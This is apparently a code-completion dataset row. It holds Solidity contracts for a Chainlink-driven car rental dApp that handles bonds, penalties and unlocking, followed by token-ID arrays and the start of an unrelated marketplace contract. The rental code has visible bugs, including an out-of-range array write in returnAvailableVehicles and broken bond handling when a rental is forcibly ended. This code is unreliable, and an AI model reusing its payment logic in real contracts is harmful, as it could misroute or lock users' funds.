rentalAgreements[i].getAgreementStatus() == RentalAgreementFactory.RentalAgreementStatus.ACTIVE)
{
//check for overlap
if ( _start < rentalAgreements[i].getAgreementEndTime() && rentalAgreements[i].getAgreementStartTime() < _end) {
//overlap found, return 0
return 0;
}
}
}
}
} else { //vehicle not approved, return false
return 0;
}
//no clashes found, we can return success
return 1;
}
/**
* @dev Function that takes a start & end epochs and then returns all vehicle addresses that are available
*/
function returnAvailableVehicles(uint _start, uint _end) public view returns (address[]) {
//algorithm works as follows: loop through all rental agreemets
//for each agreement, check if its our vehicle
//if its our vehicle, check if agreement is approved or active (proposed & completed/error not included)
//and if its approved or active, check if overlap: overlap = param.start < contract.end && contract.start < param.end;
//if overlap, return 0
//else return 1
uint finalResultCount = 0;
//because we need to know exact size of final memory array, first we need to iterate and count how many will be in the final result
for (uint i = 0; i < keyList.length; i++) {
//call function above for each key found
if (checkVehicleAvailable(keyList[i], _start, _end) > 0){
//vehicle is available, add to final result count
finalResultCount = finalResultCount+ 1;
}
}
//now we have the total count, we can create a memory array with the right size and then populate it
address[] memory addresses = new address[](finalResultCount);
uint addrCountInserted = 0;
for (uint j = 0; j < keyList.length; j++) {
//call function above for each key found
if (checkVehicleAvailable(keyList[j], _start, _end) > 0){
//vehicle is available, add to list
addresses[addrCountInserted] = keyList[j];
}
addrCountInserted = addrCountInserted + 1;
}
return addresses;
}
/**
* @dev Return a list of all vehicle addresses
*/
function getVehicleAddresses() public view returns (address[]) {
return keyList;
}
/**
* @dev Return a vehicle ID for a given vehicle address
*/
function getVehicleId(address _vehicleAddress) public view returns (uint) {
return vehicles[_vehicleAddress].vehicleId;
}
/**
* @dev Function to end provider contract, in case of bugs or needing to update logic etc, funds are returned to dapp owner, including any remaining LINK tokens
*/
function endContractProvider() external payable onlyOwner() {
LinkTokenInterface link = LinkTokenInterface(LINK_KOVAN);
require(link.transfer(msg.sender, link.balanceOf(address(this))), "Unable to transfer");
selfdestruct(dappWallet);
}
/**
* @dev fallback function, to receive ether
*/
function() external payable { }
}
contract RentalAgreement is ChainlinkClient, Ownable {
using SafeMath_Chainlink for uint;
using SafeMath_Chainlink for int;
using strings for *;
enum RentalAgreementStatus {PROPOSED, APPROVED, REJECTED, ACTIVE, COMPLETED, ENDED_ERROR}
int constant private LOCATION_BUFFER = 10000; //Buffer for how far from start position end position can be without incurring fine. 10000 = 1m
uint256 constant private ODOMETER_BUFFER = 5; //Buffer for how many miles past agreed total miles allowed without incurring fine
uint256 constant private CHARGE_BUFFER = 0; //Buffer for how much % of TOTAL CHARGE allowed without incurring fine. 0 means vehicle must be fully charged
uint256 constant private TIME_BUFFER = 10800; //Buffer for how many seconds past agreed end time can the renter end the contrat without incurring a penalty
uint256 constant private LOCATION_FINE = 1; //What percentage of bond goes to vehicle owner if vehicle isn't returned at the correct location + buffer, per km
uint256 constant private ODOMETER_FINE = 1; //What percentage of bond goes to vehicle owner if vehicle incurs more than allowed miles + buffer, per mile
uint256 constant private CHARGE_FINE = 1; //What percentage of bond goes to vehicle owner if vehicle isn't charged at the expected level + buffer
uint256 constant private TIME_FINE = 1; //What percentage of bond goes to vehicle owner if contract ends past the agreed end date/time + buffer, per hour
uint256 constant private PLATFORM_FEE = 1; //What percentage of the base fee goes to the Platform. To be used to fund data requests etc
uint256 private oraclePaymentAmount;
bytes32 private jobId;
address private dappWallet = msg.sender;
address private vehicleOwner;
address private renter;
uint private startDateTime;
uint private endDateTime;
uint private totalRentCost;
uint private totalBond;
RentalAgreementFactory.RentalAgreementStatus private agreementStatus;
uint private startOdometer = 0;
uint private startChargeState = 0;
int private startVehicleLongitude = 0;
int private startVehicleLatitude = 0;
uint private endOdometer = 0;
int private endVehicleLongitude = 0;
int private endVehicleLatitude = 0;
uint private rentalAgreementEndDateTime = 0;
uint private endChargeState = 0;
//variables for calulating final fee payable
uint private totalMiles = 0;
uint private secsPastEndDate = 0;
int private longitudeDifference = 0;
int private latitudeDifference = 0;
uint private totalLocationPenalty = 0;
uint private totalOdometerPenalty = 0;
uint private totalChargePenalty = 0;
uint private totalTimePenalty = 0;
uint private totalPlatformFee = 0;
uint private totalRentPayable = 0;
uint private totalBondReturned = 0;
uint private bondForfeited = 0;
//List of events
event rentalAgreementCreated(address vehicleOwner, address renter,uint startDateTime,uint endDateTime,uint totalRentCost, uint totalBond);
event contractActive(uint _startOdometer, uint _startChargeState, int _startVehicleLongitude, int _startVehicleLatitude);
event contractCompleted(uint _endOdometer, uint _endChargeState, int _endVehicleLongitude, int _endVehicleLatitide);
event contractCompletedError(uint _endOdometer, uint _endChargeState, int _endVehicleLongitude, int _endVehicleLatitide);
event agreementPayments(uint _platformFee, uint _totalRent, uint _totalBondKept, uint _totalBondForfeitted, uint _timePenality, uint _chargePenalty, uint _locationPenalty, uint _milesPenalty);
/**
* @dev Modifier to check if the dapp wallet is calling the transaction
*/
modifier onlyDapp() {
require(dappWallet == msg.sender,'Only Link-My-Ride Web App can perform this step');
_;
}
/**
* @dev Modifier to check if the vehicle owner is calling the transaction
*/
modifier onlyVehicleOwner() {
require(vehicleOwner == msg.sender,'Only Vehicle Owner can perform this step');
_;
}
/**
* @dev Modifier to check if the vehicle renter is calling the transaction
*/
modifier onlyRenter() {
require(renter == msg.sender,'Only Vehicle Renter can perform this step');
_;
}
/**
* @dev Prevents a function being run unless contract is still active
*/
modifier onlyContractProposed() {
require(agreementStatus == RentalAgreementFactory.RentalAgreementStatus.PROPOSED ,'Contract must be in PROPOSED status');
_;
}
/**
* @dev Prevents a function being run unless contract is still active
*/
modifier onlyContractApproved() {
require(agreementStatus == RentalAgreementFactory.RentalAgreementStatus.APPROVED ,'Contract must be in APPROVED status');
_;
}
/**
* @dev Prevents a function being run unless contract is still active
*/
modifier onlyContractActive() {
require(agreementStatus == RentalAgreementFactory.RentalAgreementStatus.ACTIVE ,'Contract must be in ACTIVE status');
_;
}
/**
* @dev Step 01: Generate a contract in PROPOSED status
*/
constructor(address _vehicleOwner, address _renter, uint _startDateTime, uint _endDateTime, uint _totalRentCost, uint _totalBond,
address _link, address _oracle, uint256 _oraclePaymentAmount, bytes32 _jobId) payable Ownable() public {
//initialize variables required for Chainlink Node interaction
setChainlinkToken(_link);
setChainlinkOracle(_oracle);
jobId = _jobId;
oraclePaymentAmount = _oraclePaymentAmount;
//first ensure insurer has fully funded the contract - check here. money should be transferred on creation of agreement.
//require(msg.value > _totalCover, "Not enough funds sent to contract");
//now initialize values for the contract
vehicleOwner = _vehicleOwner;
renter = _renter;
startDateTime = _startDateTime;
endDateTime = _endDateTime;
totalRentCost = _totalRentCost;
totalBond = _totalBond;
agreementStatus = RentalAgreementFactory.RentalAgreementStatus.PROPOSED;
emit rentalAgreementCreated(vehicleOwner,renter,startDateTime,endDateTime,totalRentCost,totalBond);
}
/**
* @dev Step 02a: Owner ACCEPTS proposal, contract becomes APPROVED
*/
function approveContract() external onlyVehicleOwner() onlyContractProposed() {
//Vehicle Owner simply looks at proposed agreement & either approves or denies it.
//Only vehicle owner can run this, contract must be in PROPOSED status
//In this case, we approve. Contract becomes Approved and sits waiting until start time reaches
agreementStatus = RentalAgreementFactory.RentalAgreementStatus.APPROVED;
}
/**
* @dev Step 02b: Owner REJECTS proposal, contract becomes REJECTED. This is the end of the line for the Contract
*/
function rejectContract() external onlyVehicleOwner() onlyContractProposed() {
//Vehicle Owner simply looks at proposed agreement & either approves or denies it.
//Only vehicle owner can call this function
//In this case, we approve. Contract becomes Rejected. No more actions should be possible on the contract in this status
//return money to renter
renter.transfer(address(this).balance);
//return any LINK tokens in here back to the DAPP wallet
LinkTokenInterface link = LinkTokenInterface(chainlinkTokenAddress());
require(link.transfer(dappWallet, link.balanceOf(address(this))), "Unable to transfer");
//Set status to rejected. This is the end of the line for this agreement
agreementStatus = RentalAgreementFactory.RentalAgreementStatus.REJECTED;
}
/**
* @dev Step 03a: Renter starts contract, contract becomes ACTIVE
* Conditions for starting contract: Must be APPROVED, & Start Date/Time must be <= current Date/Time
*/
function activateRentalContract() external onlyRenter() onlyContractApproved() {
//First we need to wake up the vehicle & obtain some values needed in the contract before the vehicle can be unlocked & started
//do external adapter call to wake up vehicle & get vehicle data
//Need to check start time has reached
//require(startDateTime <= now ,'Start Date/Time has not been reached');
//get vehicle ID of the vehicle, needed for the request
uint vid = RentalAgreementFactory(dappWallet).getVehicleId(vehicleOwner);
//call to chainlink node job to wake up the car, get starting vehicle data, then unlock the car
Chainlink.Request memory req = buildChainlinkRequest(jobId, address(this), this.activeteRentalContractFallback.selector);
req.add("apiToken", "");
req.add("vehicleId", uint2str(vid));
req.add("action", "unlock");
sendChainlinkRequestTo(chainlinkOracleAddress(), req, oraclePaymentAmount);
}
/**
* @dev Step 03b: Callback function for obtaining vehicle data as part of rental agreement beginning
* If we get to this stage, it means the vehicle successfully returned the required data to start the agreement, & the vehicle has been unlocked
* Only the contract should be able to call this function
*/
function activeteRentalContractFallback(bytes32 _requestId, bytes32 _vehicleData) public recordChainlinkFulfillment(_requestId) {
//Set contract variables to start the agreement
//temp variables required for converting to signed integer
uint tmpStartLongitude;
uint tmpStartLatitude;
bytes memory longitudeBytes;
bytes memory latitudeBytes;
//first split the results into individual strings based on the delimiter
var s = bytes32ToString(_vehicleData).toSlice();
var delim = ",".toSlice();
//store each string in an array
string[] memory splitResults = new string[](s.count(delim)+ 1);
for (uint i = 0; i < splitResults.length; i++) {
splitResults[i] = s.split(delim).toString();
}
//Now for each one, convert to uint
startOdometer = stringToUint(splitResults[0]);
startChargeState = stringToUint(splitResults[1]);
tmpStartLongitude = stringToUint(splitResults[2]);
tmpStartLatitude = stringToUint(splitResults[3]);
//Now store location coordinates in signed variables. Will always be positive, but will check in the next step if need to make negative
startVehicleLongitude = int(tmpStartLongitude);
startVehicleLatitude = int(tmpStartLatitude);
//Finally, check first bye in the string for the location variables. If it was a '-', then multiply location coordinate by -1
//first get the first byte of each location coordinate string
longitudeBytes = bytes(splitResults[2]);
latitudeBytes = bytes(splitResults[3]);
//First check longitude
if (uint(longitudeBytes[0]) == 0x2d) {
//first byte was a '-', multiply result by -1
startVehicleLongitude = startVehicleLongitude * -1;
}
//Now check latitude
if (uint(latitudeBytes[0]) == 0x2d) {
//first byte was a '-', multiply result by -1
startVehicleLatitude = startVehicleLatitude * -1;
}
//Values have been set, now set the contract to ACTIVE
agreementStatus = RentalAgreementFactory.RentalAgreementStatus.ACTIVE;
//Emit an event now that contract is now active
emit contractActive(startOdometer,startChargeState,startVehicleLongitude,startVehicleLatitude);
}
/**
* @dev Step 04a: Renter ends an active contract, contract becomes COMPLETED or ENDED_ERROR
* Conditions for ending contract: Must be ACTIVE
*/
function endRentalContract() external onlyRenter() onlyContractActive() {
//First we need to check if vehicle can be accessed, if so then do a call to get vehicle data
//get vehicle ID of the vehicle, needed for the request
uint vid = RentalAgreementFactory(dappWallet).getVehicleId(vehicleOwner);
//call to chainlink node job to wake up the car, get ending vehicle data, then lock the car
Chainlink.Request memory req = buildChainlinkRequest(jobId, address(this), this.endRentalContractFallback.selector);
req.add("apiToken", "");
req.add("vehicleId", uint2str(vid));
req.add("action", "lock");
sendChainlinkRequestTo(chainlinkOracleAddress(), req, oraclePaymentAmount);
}
/**
* @dev Step 04b: Callback for getting vehicle data on ending a rental agreement. Based on results Contract becomes COMPELTED or ENDED_ERROR
* Conditions for ending contract: Must be ACTIVE. Only this contract should be able to call this function
*/
function endRentalContractFallback(bytes32 _requestId, bytes32 _vehicleData) public recordChainlinkFulfillment(_requestId) {
//Set contract variables to end the agreement
//temp variables required for converting to signed integer
uint tmpEndLongitude;
uint tmpEndLatitude;
bytes memory longitudeBytes;
bytes memory latitudeBytes;
//first split the results into individual strings based on the delimiter
var s = bytes32ToString(_vehicleData).toSlice();
var delim = ",".toSlice();
//store each string in an array
string[] memory splitResults = new string[](s.count(delim)+ 1);
for (uint i = 0; i < splitResults.length; i++) {
splitResults[i] = s.split(delim).toString();
}
//Now for each one, convert to uint
endOdometer = stringToUint(splitResults[0]);
endChargeState = stringToUint(splitResults[1]);
tmpEndLongitude = stringToUint(splitResults[2]);
tmpEndLatitude = stringToUint(splitResults[3]);
//Now store location coordinates in signed variables. Will always be positive, but will check in the next step if need to make negative
endVehicleLongitude = int(tmpEndLongitude);
endVehicleLatitude = int(tmpEndLatitude);
//Finally, check first bye in the string for the location variables. If it was a '-', then multiply location coordinate by -1
//first get the first byte of each location coordinate string
longitudeBytes = bytes(splitResults[2]);
latitudeBytes = bytes(splitResults[3]);
//First check longitude
if (uint(longitudeBytes[0]) == 0x2d) {
//first byte was a '-', multiply result by -1
endVehicleLongitude = endVehicleLongitude * -1;
}
//Now check latitude
if (uint(latitudeBytes[0]) == 0x2d) {
//first byte was a '-', multiply result by -1
endVehicleLatitude = endVehicleLatitude * -1;
}
//Set the end time of the contract
rentalAgreementEndDateTime = now;
//Now that we have all values in contract, we can calculate final fees & penalties payable
//First calculate and send platform fee
//Total to go to platform = base fee / platform fee %
totalPlatformFee = totalRentCost.div(uint(100).div(PLATFORM_FEE));
//now total rent payable is original amount minus calculated platform fee above
totalRentPayable = totalRentCost - totalPlatformFee;
//Total to go to car owner = (base fee - platform fee from above) + time penalty + location penalty + charge penalty
//Now calculate penalties to be used for amount to go to car owner
//Odometer penalty. Number of miles over agreed total miles * odometer penalty per mile.
//Eg if only 10 miles allowed but agreement logged 20 miles, with a penalty of 1% per extra mile
//then penalty is 20-10 = 10 * 1% = 10% of Bond
totalMiles = endOdometer.sub(startOdometer);
if (totalMiles > ODOMETER_BUFFER) {
totalOdometerPenalty = totalMiles.mul(ODOMETER_FINE).mul(totalBond);
totalOdometerPenalty = (totalMiles.sub(ODOMETER_BUFFER)).mul(totalBond.div(uint(100).div(ODOMETER_FINE)));
}
//Time penalty. Number of hours past agreed end date/time + buffer * time penalty per hour
//eg TIME_FINE buffer set to 1 = 1% of bond for each hour past the end date + buffer (buffer currently set to 3 hours)
if (rentalAgreementEndDateTime > endDateTime) {
secsPastEndDate = rentalAgreementEndDateTime.sub(endDateTime);
//if retuned later than the the grace period, incur penalty
if (secsPastEndDate > TIME_BUFFER) { //penalty incurred
//penalty TIME_FINE is a % per hour over. So if over by less than an hour, round up to an hour
if (secsPastEndDate.sub(TIME_BUFFER) < 3600) {
totalTimePenalty = uint(1).mul(totalBond.div(uint(100).div(TIME_FINE)));
} else {
//do normal penlaty calculation in hours
totalTimePenalty = secsPastEndDate.sub(TIME_BUFFER).div(3600).mul(totalBond.div(uint(100).div(TIME_FINE)));
}
}
}
//Charge penalty. Simple comparison of charge at start & end. If it isn't at least what it was at agreement start, then a static fee is paid of
//CHARGE_FINE, which is a % of bond. Currently set to 1%
if (startChargeState > endChargeState) {
totalChargePenalty = totalBond.div(uint(100).div(CHARGE_FINE));
}
//Location penalty. If the vehicle is not returned to around the same spot, then a penalty is incurred.
//Allowed distance from original spot is stored in the LOCATION_BUFFER param, currently set to 100m
//Penalty incurred is stored in LOCATION_FINE, and applies per km off from the original location
//Penalty applies to either location coordinates
//eg if LOCATION_BUFFER set to 100m, fee set to 1% per 1km, and renter returns vehicle 2km from original place
//fee payable is 2 * 1 = 2% of bond
longitudeDifference = abs(abs(startVehicleLongitude) - abs(endVehicleLongitude));
latitudeDifference = abs(abs(startVehicleLatitude) - abs(endVehicleLatitude));
if (longitudeDifference > LOCATION_BUFFER) { //If difference in longitude is > 100m
totalLocationPenalty = uint(longitudeDifference).div(10000).mul(totalBond.div(uint(100).div(LOCATION_FINE)));
} else if (latitudeDifference > LOCATION_BUFFER) { //If difference in latitude is > 100m
totalLocationPenalty = uint(latitudeDifference).div(10000).mul(totalBond.div(uint(100).div(LOCATION_FINE)));
}
//Final amount of bond to go to owner = sum of all penalties above. Then renter gets rest
bondForfeited = totalOdometerPenalty.add(totalTimePenalty).add(totalChargePenalty).add(totalLocationPenalty);
uint bondKept = totalBond.sub(bondForfeited);
//Now that we have all fees & charges calculated, perform necessary transfers & then end contract
//first pay platform fee
dappWallet.transfer(totalPlatformFee);
//then pay vehicle owner rent amount
vehicleOwner.transfer(totalRentPayable);
//pay Owner any bond penalties. Only if > 0
if (bondForfeited > 0) {
owner.transfer(bondForfeited);
}
//finally, pay renter back any remaining bond
totalBondReturned = address(this).balance;
renter.transfer(totalBondReturned);
//Transfers all completed, now we just need to set contract status to successfully completed
agreementStatus = RentalAgreementFactory.RentalAgreementStatus.COMPLETED;
//Emit an event with all the payments
emit agreementPayments(totalPlatformFee, totalRentPayable, bondKept, bondForfeited, totalTimePenalty, totalChargePenalty, totalLocationPenalty, totalOdometerPenalty);
//Emit an event now that contract is now ended
emit contractCompleted(endOdometer,endChargeState,endVehicleLongitude,endVehicleLatitude);
}
/**
* @dev Step 04c: Car Owner ends an active contract due to the Renter not ending it, contract becomes ENDED_ERROR
* Conditions for ending contract: Must be ACTIVE, & End Date must be in the past more than the current defined TIME_BUFFER value
*/
function forceEndRentalContract() external onlyOwner() onlyContractActive() {
//don't allow unless contract still active & current time is > contract end date + TIME_BUFFER
require(now > endDateTime + TIME_BUFFER,
"Agreement not eligible for forced cancellation yet");
//get vehicle ID of the vehicle, needed for the request
uint vid = RentalAgreementFactory(dappWallet).getVehicleId(vehicleOwner);
//call to chainlink node job to wake up the car, get ending vehicle data
Chainlink.Request memory req = buildChainlinkRequest(jobId, address(this), this.forceEndRentalContractFallback.selector);
req.add("apiToken", "");
req.add("vehicleId", uint2str(vid));
req.add("action", "vehicle_data");
sendChainlinkRequestTo(chainlinkOracleAddress(), req, oraclePaymentAmount);
}
/**
* @dev Step 04d: Callback for force ending a vehicle agreement. Based on results Contract becomes ENDED_ERROR
*/
function forceEndRentalContractFallback(bytes32 _requestId, bytes32 _vehicleData) public recordChainlinkFulfillment(_requestId) {
totalPlatformFee = totalRentCost.div(uint(100).div(PLATFORM_FEE));
//now total rent payable is original amount minus calculated platform fee above
totalRentPayable = totalRentCost - totalPlatformFee;
bondForfeited = totalBondReturned;
totalBondReturned = 0;
//Now that we have all fees & charges calculated, perform necessary transfers & then end contract
//first pay platform fee
dappWallet.transfer(totalPlatformFee);
//then pay vehicle owner rent payable
vehicleOwner.transfer(totalRentPayable);
//pay owner the bond owed
vehicleOwner.transfer(bondForfeited);
//Transfers all completed, now we just need to set contract status to successfully completed
agreementStatus = RentalAgreementFactory.RentalAgreementStatus.ENDED_ERROR;
//Emit an event now that contract is now ended
emit contractCompletedError(endOdometer,endChargeState,endVehicleLongitude,endVehicleLatitude);
}
/**
* @dev Get address of the chainlink token
*/
function getChainlinkToken() public view returns (address) {
return chainlinkTokenAddress();
}
/**
* @dev Get address of vehicle owner
*/
function getVehicleOwner() public view returns (address) {
return vehicleOwner;
}
/**
* @dev Get address of vehicle renter
*/
function getVehicleRenter() public view returns (address) {
return renter;
}
/**
* @dev Get status of the agreement
*/
function getAgreementStatus() public view returns (RentalAgreementFactory.RentalAgreementStatus) {
return agreementStatus;
}
/**
* @dev Get start date/time
*/
function getAgreementStartTime() public view returns (uint) {
return startDateTime;
}
/**
* @dev Get end date/time
*/
function getAgreementEndTime() public view returns (uint) {
return endDateTime;
}
/**
* @dev Return All Details about a Vehicle Rental Agreement
*/
function getAgreementDetails() public view returns (address,address,uint,uint,uint,uint,RentalAgreementFactory.RentalAgreementStatus) {
return (vehicleOwner,renter,startDateTime,endDateTime,totalRentCost,totalBond,agreementStatus);
}
/**
* @dev Return All Vehicle Data from a Vehicle Rental Agreement
*/
function getAgreementData() public view returns (uint, uint, int, int, uint, uint, int, int) {
return (startOdometer,startChargeState,startVehicleLongitude, startVehicleLatitude,endOdometer,endChargeState, endVehicleLongitude,endVehicleLatitude);
}
/**
* @dev Return All Payment & fee Details about a Vehicle Rental Agreement
*/
function getPaymentDetails() public view returns (uint, uint, uint, uint, uint, uint, uint, uint) {
return (rentalAgreementEndDateTime,totalLocationPenalty,totalOdometerPenalty,totalChargePenalty,totalTimePenalty,totalPlatformFee,totalRentPayable,totalBondReturned);
}
/**
* @dev Helper function to get absolute value of an int
*/
function abs(int x) private pure returns (int) {
return x >= 0 ? x : -x;
}
/**
* @dev Helper function for converting uint to a string
*/
function uint2str(uint _i) internal pure returns (string memory _uintAsString) {
if (_i == 0) {
return "0";
}
uint j = _i;
uint len;
while (j != 0) {
len++;
j /= 10;
}
bytes memory bstr = new bytes(len);
uint k = len - 1;
while (_i != 0) {
bstr[k--] = byte(uint8(48 + _i % 10));
_i /= 10;
}
return string(bstr);
}
function bytes32ToString(bytes32 x) constant returns (string) {
bytes memory bytesString = new bytes(32);
uint charCount = 0;
for (uint j = 0; j < 32; j++) {
byte char = byte(bytes32(uint(x) * 2 ** (8 * j)));
if (char != 0) {
bytesString[charCount] = char;
charCount++;
}
}
bytes memory bytesStringTrimmed = new bytes(charCount);
for (j = 0; j < charCount; j++) {
bytesStringTrimmed[j] = bytesString[j];
}
return string(bytesStringTrimmed);
}
function stringToUint(string s) constant returns (uint result) {
bytes memory b = bytes(s);
uint i;
result = 0;
for (i = 0; i < b.length; i++) {
uint c = uint(b[i]);
if (c >= 48 && c <= 57) {
result = result * 10 + (c - 48);
}
}
}
}
| Now that we have all fees & charges calculated, perform necessary transfers & then end contractfirst pay platform fee | dappWallet.transfer(totalPlatformFee);
| 2,512,065 | [
1,
8674,
716,
732,
1240,
777,
1656,
281,
473,
1149,
2852,
8894,
16,
3073,
4573,
29375,
473,
1508,
679,
6835,
3645,
8843,
4072,
14036,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
3639,
302,
2910,
16936,
18,
13866,
12,
4963,
8201,
14667,
1769,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
pragma solidity 0.4.24;
//EthPM Packages
import "../node_modules/openzeppelin-solidity/contracts/ownership/Ownable.sol";
import "../node_modules/openzeppelin-solidity/contracts/math/SafeMath.sol";
/// @title Sonavy Market
/// @author Ammar Hassan <[email protected]>
/// @notice This contract implements the backend for an online marketplace.
contract OnlineMarketplace is Ownable {
using SafeMath for uint256; //To avoid integer underflow and overflows
//For Circuit Breaker
bool public stopped = false;
uint numStores;
uint numProducts;
uint[] storeArray;
uint[] productArray;
address fundsAddress;
mapping (address => bool) public Admins;
mapping (address => bool) public ShopOwner;
/// @notice Initializes variables and makes contract creator the administrator
constructor() public {
Admins[msg.sender] = true;
numStores = 0;
numProducts = 0;
}
/// @notice To save store related data
struct Stores {
address storeOwner;
string storeName;
uint balance;
}
/// @notice To save products related data
struct Products {
string name;
uint quantity;
uint price;
uint store;
}
mapping (uint => Stores) public StoreFront;
mapping (uint => Products) public ProductList;
/// @notice Checks if sender is an administrator
modifier onlyAdmin () {
require (Admins[msg.sender] == true, "Checks if sender is administrator");
_;
}
/// @notice Checks if sender is a shop owner
modifier onlyShopOwner () {
require (ShopOwner[msg.sender] == true, "Checks if sender is Shop Owner");
_;
}
/// @notice Checks if stopped
modifier stopInEmergency {
require(!stopped, "Checks if stopped");
_;
}
/// @notice Checks if not stopped
modifier onlyInEmergency {
require(stopped, "Checks if not stopped");
_;
}
/// @notice Check the type of user msg.sender is
/// @return The user type. 1 is admin, 2 is shop owner and 3 is shopper
function checkUserType() public view returns (uint) {
if(Admins[msg.sender] == true) {
return 1;
}
else if(ShopOwner[msg.sender] == true) {
return 2;
}
else {
return 3;
}
}
/// @notice Adds a new shop owner. An admin can only call this function
/// @param _newShopOwner is the address of the shop owner to be added
function addShopOwner(address _newShopOwner) public onlyAdmin {
require(Admins[_newShopOwner] == false, "Shop Owner cannot be an admin");
ShopOwner[_newShopOwner] = true;
}
/// @notice Removes a shop owner. An admin can only call this function
/// @param _ShopOwner is the address of the shop owner to be removed
/// @dev First we get the number of stores and then iterate to transfer remaining balances and delete store fronts
function removeShopOwner(address _ShopOwner) public payable onlyAdmin {
ShopOwner[_ShopOwner] = false;
uint count = 0;
for(uint i = 0; i < storeArray.length; i++) {
if(StoreFront[i].storeOwner == _ShopOwner ){
count = count.add(1);
}
}
uint amount = 0;
for(uint j = 0; j < storeArray.length; j++) {
if(StoreFront[j].storeOwner == _ShopOwner ){
amount = StoreFront[j].balance;
_ShopOwner.transfer(amount);
StoreFront[j].balance = StoreFront[j].balance.sub(amount);
delete StoreFront[j];
}
}
}
/// @notice Adds a new store front. An admin can only call this function
/// @param _storeName is the address of the shop owner to be added
function addStore(string _storeName) public onlyShopOwner {
Stores memory store = Stores(msg.sender, _storeName, 0);
StoreFront[numStores] = store;
storeArray.push(numStores);
numStores = numStores.add(1);
}
/// @notice Adds a new product to a store front
/// @param _store is the store front which will list the product
/// @param _name is the name of the product
/// @param _quantity is the number of added products available
/// @param _price is the price of the product
function addProduct(uint _store, string _name, uint _quantity, uint _price) public onlyShopOwner {
Products memory product = Products(_name, _quantity, _price, _store);
ProductList[numProducts] = product;
productArray.push(numProducts);
numProducts = numProducts.add(1);
}
/// @notice Deletes a product
/// @param _productCode is the code of the product to be deleted
function deleteProduct(uint _productCode) public onlyShopOwner {
delete ProductList[_productCode];
}
/// @notice To change price of a product
/// @param _productCode is the code of the product to be modified
/// @param _price is the new price
function changePrice(uint _productCode, uint _price) public onlyShopOwner {
ProductList[_productCode].price = _price;
}
/// @notice To get the amount the store owner has not withdrawed
/// @param _store is the storefront for which to get the amount
/// @return balance - the amount the shop owner can withdraw
function getStoreBalance(uint _store) public onlyShopOwner view returns(uint) {
return StoreFront[_store].balance;
}
/// @notice To withdraw the amount the store owner has not withdrawed
/// @param _store is the storefront for which to withdraw from
function withdrawFunds(uint _store) public payable onlyShopOwner {
uint amount = StoreFront[_store].balance;
require(amount > 0, "The store should have balance available to withdraw");
StoreFront[_store].balance = StoreFront[_store].balance.sub(amount); //Prevents Reentrancy Attack
msg.sender.transfer(amount);
}
/// @notice To get a list of all stores
/// @return A list of all stores
function getStoreList() public view returns(uint[]) {
return storeArray;
}
/// @notice To get a list of all stores for a particular shop owner
/// @return A list of all stores listed for msg.sender
function getOwnerStoreList() public onlyShopOwner view returns(uint[]){
uint count = 0;
for(uint i = 0; i < storeArray.length; i++) {
if(StoreFront[i].storeOwner == msg.sender ){
count = count.add(1);
}
}
uint[] memory list = new uint[](count);
count = 0;
for(uint j = 0; j < storeArray.length; j++) {
if(StoreFront[j].storeOwner == msg.sender ){
list[count] = storeArray[j];
